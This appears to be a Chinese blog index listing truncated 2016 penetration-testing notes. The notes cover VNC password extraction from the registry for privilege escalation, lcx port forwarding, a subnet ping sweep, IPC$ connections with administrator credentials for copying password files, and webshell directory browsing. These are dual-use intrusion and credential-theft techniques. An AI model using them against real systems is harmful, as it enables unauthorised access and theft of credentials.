Jove・筆記

1

Web安全与渗透 2016-04-14

VNC、Radmin、PcAnywhere 的提权方法

VNC、Radmin、PcAnywhere 的提权方法：VNC提权：首先利用 shell 读取 vnc 保存在注册表中的密文，然后再使用工具VNC4X破解。注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\passwordR...

2

Web安全与渗透 2016-04-14

命令一：rar.exe a -r -vb d:\test.rar d:\test详解：rar.exe 即电脑安装rar软件的绝对路径中的rar.exe可执行文件。a 表示创建压缩文档的命令。 -r 是递归压缩文件夹中所...

3

Web安全与渗透 2016-04-14

远程：lcx -slave 远程ip 端口本地ip 端口本地：lcx -listen 本地端口本地端口

4

Web安全与渗透 2016-04-14

for /l %i in (1,1,255) do @ping -w 2 -n 1 192.168.200.%i | findstr "TTL="注释：for 一般用于dos命令循环使用，/l参数是列方式展示，%i是个参数在255范围内，（1,1,255)表示从1开始，每次...

5

Web安全与渗透 2016-04-14

net use \\192.168.1.2\ipc$ "password" /user:"administrator"此命令表示，通过ipc$共享管道进行目标主机渗透，双引号中的为密码，user为用户名。主要用来通过管道复制密码文件到目标主机中。

6

Web安全与渗透 2016-04-14

脚本如下：报错为VBS，通过shell执行，并查看回显结果。On Error Resume NextIf (LCase(Right(WScript.Fullname, 11)) = “wscript.exe”) ThenMsgBox Space(12) & “IIS...

7

Web安全与渗透 2016-04-14

渗透测试过程中，我们会遇到shell或者菜刀无法自动读取目录这个通过手动输入目录路径可以访问（前提得猜路径，常见的program files 这些每个盘符应该都会有）输入后能够访问了，再根据目录安装的应用，想出下一步渗透思路。